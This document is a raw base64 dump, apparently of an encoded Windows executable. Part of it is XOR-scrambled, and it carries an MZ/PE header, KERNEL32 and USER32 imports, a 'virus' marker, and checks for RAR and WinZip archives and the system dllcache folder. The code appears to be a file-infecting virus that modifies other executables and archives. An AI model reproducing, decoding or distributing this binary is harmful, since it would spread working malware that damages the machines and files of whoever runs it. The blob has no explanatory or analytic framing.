paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpdEdJ0FjdXdJe0PlbW/lRUF7a0Fnf2cd A3NXBWd3eU0dA3NXBWd3eU35c1F9pW8dQ2N1bUV9w8H5fUNXpVGlb1d5pWNneeU9DRUddUVF Q2dFRflVe3ulaW+lpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWl paWlpaWlpaWlpaWlpaWlpaWlpaV/RdWl+W9Vb6X5Q2NBpflFd2ml+WFnTaWlpaWlpaWlpaWl paX5TVVNpfl1TX+l+XVNf32l+UtnYaX5Z0NFpflte2Ol+UFNaaX5VX1DpflxRWul+WNFRaX5 Y6X5RWdDpfl/RWul+X9Fb2ul+WFnc6X5f0XDpflFbWmlpQN7aU1LZ0FvHT93Y0F7Q3tpTR0L d3lte0tDHSNPQUFveU0Jb0FDd3t5HaUnRUXlBWdNdUOlAU95pQFPeTt5Y2+lA1dDTW9/HSNP QUFveU0je3lNQXt9A29NHQNvQUl3Y29DpQN7aU1LZ0FvHT93Y0F7Q3tpTR0LJyEdCychzR0L Z2HlKXd9b+U5Z39vpQFPeQNvQUl3Y29DpTd5TW9BeW9N5QNvTU13eWtDHSNnY3VvHQVnTXVD paWlpaWlpaU1d/2lNW99fXv9pQFv0aUpS9GlD3ltb313SW9BZ2F9b+V/Z3d9///h70PhpQFv TU9BeW9t5X9nd33//+HvQ+GlpaWlpWfl70Pl70Pla2d/b6Vn5e9D5e9D5U17e32lZ+XvQ+Xv Q+VLb2FDd01vpWfl70Pl70PlRWdNY3Wl70PlQW9/e0lnfeVNe3t9Q6WlpaWlpaWleW9LpWlP eXlXpXl3Y2+ldU9/e09BpW9VY3dNb6Vre3ttpUV7S2lPfaULd3kVBaU3L+XJ+cWlC8PB+S99 c29BeeWlC8PB+TN9b1H5L6WldXtL5WdBb+VXe0+lfW9N60PlYW/laUF3b3ltQ6VtZ0F9d3lr pUN75WN7e33lZ+VpfWdDdf1veXF7V+V3TaVXe09B5UVnQ0NLe0FtpXV7eW9XpUN7f2/lR09v Q013e3lDpUV9b2dDb+VNQVflZ2tnd3mlS299Y3t/b+VNe+V/V+V1e39vTXtLeaVNdW/lK2dB bW955Xtp5S9tb3mld3lNQXttT2NNd3t55Xt55SctAz2lf29vTXd5a+V5e013Y2+lR09vQ013 e3l5Z3dBb6Vje3lrQWdNT31nTXd7eUOlQ3tD56VxZ0VneW9Db+Vrd0F95QkD5UV9Z1dhe1el fXt7c/1/V+Vhb2dPTXdpT33la3dBfeVpQXdveW2lb2drb0HlTXvlQ29v5Vd7T6VDRXdjb+Vr d0F9Q+vlSXtjZ33lY3t5Y29BTaVxZ0VneW9Db+V9Z0ND6+VDb1VX5UV3Y01PQW9DpaWlpQNX f2d5TW9jpT9jZ2lvb6Up/wNvY09Bb6UDe0V1e0OlDUFveW1/d2NBe6UzZ0NFb0FDc1elpaWl KUF7f9HlpQ170eWlA09hcW9jTdHlpaWlDXVv5Wl7fX17S3d5a+V/Z3d95WNneetN5WFv5UNv eU3lTXvl70PRpQ11b+VnTU1nY3V/b3lNpQ11b+Vpd31vpeV3Q+VNdW/le0F3a3d5Z33lf2d3 faXla3dJb+VXe0/lTXVv5e9DpeV3Q+Vn5e9D5W1neWtvQXtPQ+VJd0FPQ+VNdWdN5e9DpWNn eeV3eWlvY03le3nlC3d519X7P2/7wcXFxfsVBfmlQ0VBb2dt5U11QXtPa3Xlb39nd335pUlv QVflpUNFb2N3Z33lpXVNTUXR+/ulS0tL+aX5Y3t/pSl7QeV/e0Fv5Xd5aXtBf2dNd3t5/UV9 b2dDb+VJd0N3TeWlDXV3Q+V3Q+WlN+XvQ+VXe0/lS3tPfW3l70Pld035pW95cXtXpX13c2+l S3dDdaV1e0VvpW9VRW9jTaWlI3VBd0NNf2dDpTlvS+VXb2dBpQNnd3lN5QlnfW95TXd5b+tD 5S1nV6UnfX11Z319e0t/Z0OlJ0VBd33lKXt7fUPr5S1nV6U9Z21X5S1nV6UnQ0NPf0VNd3t5 pSNneW19b39nQ6UnfX3lA3tPfUPrLWdXpS9Fd0V1Z3lXpaWlpaU1Z0VFV+WlNWdJb+Vn5aWl 3WFB2b+xpb+xpUV7Q01/Z0NNb0GlpaULd3lzpaU3f2drbwVnTXWlPzc/L/8Jb0FDd3t50eXH +cW/sSN7eU1veU3/DVdFb9Hlf099TXdFZ0FN+2d9TW9BeWdNd0lv07+xt2F7T3ltZ0FX36Uj e3lNb3lN/w1XRW/R5U1vVU37dU1/fdO/sSN7eU1veU3/DUFneUNpb0H/L3lje213eWvR5UdP e01vbf9FQXd5TWdhfW+/sb+x3TUNPz3Z3TUvJy3Z3fs1Lyct2d0hOy0X2e9Dv7HdKTs5Ddml pd37KTs5Ddnd+yE7LRfZ3fs1DT892aWlpSN7eU1veU3/DVdFb9Hl70PTv7G3eWd/b9/vQ7+x I3t5TW95Tf8NQWd5Q2lvQf8veWN7bXd5a9HlYWdDb8nNv7Eje3lNb3lN/zct0eXd70PZpaWl paWlpaWlpWdPbXd7+1X/S2dJpWdPbXd7+1X/f3dtd6VnRUV9d2NnTXd7eft7Y01vTf9DTUFv Z3+lpaWlpaWlpaW/sd13aUFnf2/lQ0Fj38MtY3dt0e9D5XVvd2t1Td/DLcXlS3dtTXXfwy3F 2b+x3ft3aUFnf2/ZpQ11d0Pla2d/b+V3Q+V/V+Vpd0FDTeVLe0Fz+d1hQdm/sRd7T+tBb+VN dW/laXdBQ03lRX1nV29B+aU7NyMHpQVBe2tBZ38pd31vQy13QaWlpaVDf01F+aUbJwkFw8Gl GycJBSMjpTk7LcPBpTkFAwMJI6U5AS8DB8PBpTkDIzUvLcPBpTkDIzUvLTkNpTkDBT0PKzc5 pTknCaU5JwknBQMJI6U5JwknBQvDwaU5Jwk9D8PBpTknCQEPOQGlOScJC8PBpRsnCQU/pSc9 LwENAwkjpSc/OzmlJwkFw8GlJwkFIyOlJwkFP6U5w8EDIyc5C6U5JwkLOQ2lJzkNNwk3AaUn CQUPBS2lJwkrIw0BPaUnCQs3OdfPpQMjJznDwaUJAzULNznDwaUp/wMNOwULpSn/BQE7DdfP pScjMws3OcPBpQkvDQ0BJxelCS8N18+lAwsvLwXXz6UFIyMLNznX1aU3Oz87OdfVpScJBQ0j pScJL8PBpScJIzs5Azs9pSkF/ws3OaUtCQXXz6Up/ycrOQ3Xz6UjPScL18+lOQkj18+lAyMn OaUJNwEPA6U9OyMzLTsLOcHFxcWlOXtBTXt5pT9jZ2lvb6UneU13SXdBpQ0nAzM/KwGlpaWl paWlpaWlpaWlpaWlpaWlJzkNN/8JNwH5LScNpSM1Mz03Aw35LScNpSM1Mz03Aw35PwOlIzUz PTcDDfkjBQOlIzUzPTcDDfkNJwmlNwkh+TkNEaUDPycBDSM1M/k/A6UDPycBDSM1M/kjBQOl JwkrBw35LScNpScrDycBLfktJw2lpaWlpaWlA3V9S2dFd/ltfX2lM29BeW99w8H5bX19pXlv TWdFd8PB+W19faVDaWP5bX19paWlpaUDd0FjZ3+lOXd/bWelI3ttbwFvbaULBzM/P8PVy9Wl KwE3LynD1cvVpSlPeeU9e0l3eWvlI0F3f3d5Z32lOXtBTXt5pT9jZ2lvb6UneU13SXdBpSdJ Y3t5Q3t9pSn/Aw07BQulKf8Db2NPQW+lA3tFdXtDpUl3QU9DpScJBeU/e3l3TXtBpScJBeUP RW1nTW9DpTd5e2NPfWdNbzcNpQUj/2N3fX13eaUDV39neU1vY6UNQW95beU/d2NBe6Up/wUB Ow2l5Tk7LcPB5aWlpQFva3dDTW9BA29BSXdjbwVBe2NvQ0OlOW9NA3VnQW8nbW2lAzUtb31v TW8zb1cnpQNpYzdDKXd9bwVBe01vY01vbaU5b00DdWdBbytvTTd5aXulOW9NJ0V3IU9paW9B KUFvb6WlpaWlLxUFPTsBLwGlIz8/KwGlf0N3f3mld2NLY3t5eaVLd3lRd0WlpaWlpQVBe2tB Z3+l70Pl3e9D2aUnISMtLykrNTcxMz0/OTsFBwEDDQ8JCxUXEWdhY21vaWt1d3FzfX95e0VH QUNNT0lLVVdRxcfBw83PycvV1/P7pUNvTU9FpXd5Q01nfX2lbW9/e6VDeXt7RVelRXdjZ2NP pXN3TU1XpUV9Z1elQXtjc6WlpaWlpaWlAWdB55GrpTqEQ6Wlv6WlpaWlpaWlpflBZ0GlpUt3 eXd5b035bX19pTd5TW9BeW9NK29NI3t5eW9jTW9tA01nTW+lpaUtd0FvY017QVelbX19Y2dj dW+lpQNvLW9hT2sFQXdJd31va2+lA28NY2EFQXdJd31va2+lpaWlpaWlpaVLYf9xZ0Vneflj e/lxRaVJb0F3UXt5+XlvTaVnQUdPd0FvbflvQ6Vtd2lnY/lje3+lpQN7aU1LZ0FvHT93Y0F7 Q3tpTR03eU1vQXlvTeUnY2N7T3lN5T9neWdrb0EdJ2Nje095TUMdpQM/DQXlA29BSW9BpQM/ DQXlL39nd33lJ21tQW9DQ6WlC3tBf+UzfW9R+S/ld39/T3l3TVelpTN9b1H5L+V3Q+VNdW/l f3tDTeVje39/e3nlS3tBfW3/S3dtb+VDRUFvZ213eWvlS3tBf/k3TetD5UlvQVflbWd5a29B e09D5WFX5WN7QUFPRU13eWvlV3tPQeVpd31vQ/ndYUHZv7Ehb2NnT0Nv5Xtp5XdNQ+VJb0FX 5UN/Z0FN5UNNb2d9TXXlZ3lt5Wd5TXf/Z3lNd/9Jd0FPQ+VNb2N1eXdj/X97Q03lY3t/f3t5 5ScJ5UN7aU1LZ0Fv5WNneetN5W1vTW9jTeV7QeVjfW9neeV3TfndYUHZv7ELb+Vtb0lvfXtF b23lTXV3Q+VpQW9v5Xd/f095d01X5U17e33lTXvlbW9pb2dN5U11b+V/Z313Y3d7T0PlSXdB T0P53WFB2b+xF3tP5Xt5fVfleW9vbeVNe+VBT3nlTXV3Q+VNe3t95Xt5Y2/9Z3lt5U11b3nl M31vUeVLd3195XlvSW9B5WN7f2/ld3lNe+VXe09B5QUj+d1hQdm/sTk7DS/R5SFvY2dPQ2/l TXV3Q+VNe3t95WdjTUPlZ0PlZ+VpZ3Nv5TN9b1HlTXvlaXt7feVNdW/lQW9nfeVLe0F//UN7 f2/lJwnlf3t5d017QeV/Z1dhb+VjQVflS3VveeVXe0/lQU955XdN+d1hQdm/sTdp5UN7/Tdr eXtBb+VNdW/lS2dBeXd5a/1neW3lQ299b2NN5etje3lNd3lPb+v53WFB2b+xN2nlV3tP5XVn SW/lZ3lX5UdPb0NNd3t5/UV9b2dDb+XdZ+V1QW9p38Mtf2d3fU170e9D2X9nd33lTXvlf2/d +2fZ+aWlpaWlpaWlv7ELd3nDweUzfW9R5QnB+cXH5enlC3d5w8HlKXtBe09V5QnH+cW/sSN7 RVdBd2t1TeXBxcXB/X9nbW/ld3nlJ0N3Z7+xJ2F7T03lM31vUeUJwfnFx9G/sbfH/T9nd3nl f3dDQ3d7eeV3Q+VNe+VBb31vZ0Nv5U11b+V5b0vlYWdhV+UFL+VJd0FPQ/0Ld3nDweUpe0F7 T1W/sbfB/Tl75UN3a3l3aXdjZ3lN5WN1Z3lrb/k5e+VhT2vlaXdVb235OXvlZ3lX5UVnV317 Z235v7EnYXtPTeULd3nDweUpe0F7T1Xl9UV9UeVzb29F5U11b+V5Z39v/U11Z3lV97+xt8f9 KU99feVje39FZ013YX1v5Qt3ecPB5QUv5Ul3QU9D5Xt55Qt3edcV+8Ez+zkN+xUFv7G3wf0L d0115UlvQVfld3lNb0FvQ013eWvlaW9nTU9Bb/kjdW9jc+V3Tee/sbfD/Tl75Wd5V+VFZ1d9 e2dt+Tl75Wd5V+V7RU13f3dRZ013e3m/sbfN/Tl7TeVhT2vlaUFvb/1hb2NnT0Nv5Xtp5Wfl dU9BQVflS3tBc/k5e+V/e0Fv5U11Z3nlTXVBb2/lS29vc0PlaUF7f+V1Z0l3eWvlQ09jdeV3 bW9n5U175WdjY3t/RX13Q3V3eWvlY3ttd3lr5Wd5beVNb0NNd3lrv7GlAAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA XgIAAA4AAACGAgAADgAAAJgCAABoBQAAIAgAAGAAAAACEAAACgAAABIQAAAWAAAAYxAAAJ0A AAAMFAAA9AgAAPYlAAAKAgAATVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAKgBAAC6EAAO H7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BF AABMAQQAiywMhQAAAAAAAAAA4ACOgQsBAhkABAAAAAwAAAAAAAAAEAAAABAAAAAgAAAAAEAA ABAAAAAEAAABAAAAAAAAAAMACgAAAAAAAGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQ AAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAAEAAAABAAAAAEAAAACEAAAPBEQVRBAAAAAAAQAAAA IAAAAAQAAAAMQAAAwC5pZGF0YQAAABAAAAAwAAAABAAAABBAAADALnJlbG9jAAD2EQAAAEAA AAAUAAAAFEAAAFDpgwAAAOgLAAAAagDoCgAAAAAAAAD/JTQwQAD/JTgwQBAgAAB4A1dRnGDo AAAAAF2NvS0CAACLXCQkgeMAAOD/jbUyAQAA6NYAAACNVStSjV1Oh97oyAAAAMOB7Y8QAACB xQAQAADHRQBo4JMExkUEAIlsJBxhnf/gAAA3AGDoAAAAAF2NdTXolQAAAAvAdCIF5g0AAIvw 6KgAAABmx0b8AAAzyVFUUVFQUVH/lXcCAABZYcMAADMAM/+4omoAAI11bOhaAAAAUHQf/Iv4 jXWljVWsK1XZK/ID8g+3TvxW86Rei3b4C/Z171jD3P8yAImsjRfc/9z/gaiMzByvtvuMt4wA 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 U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA 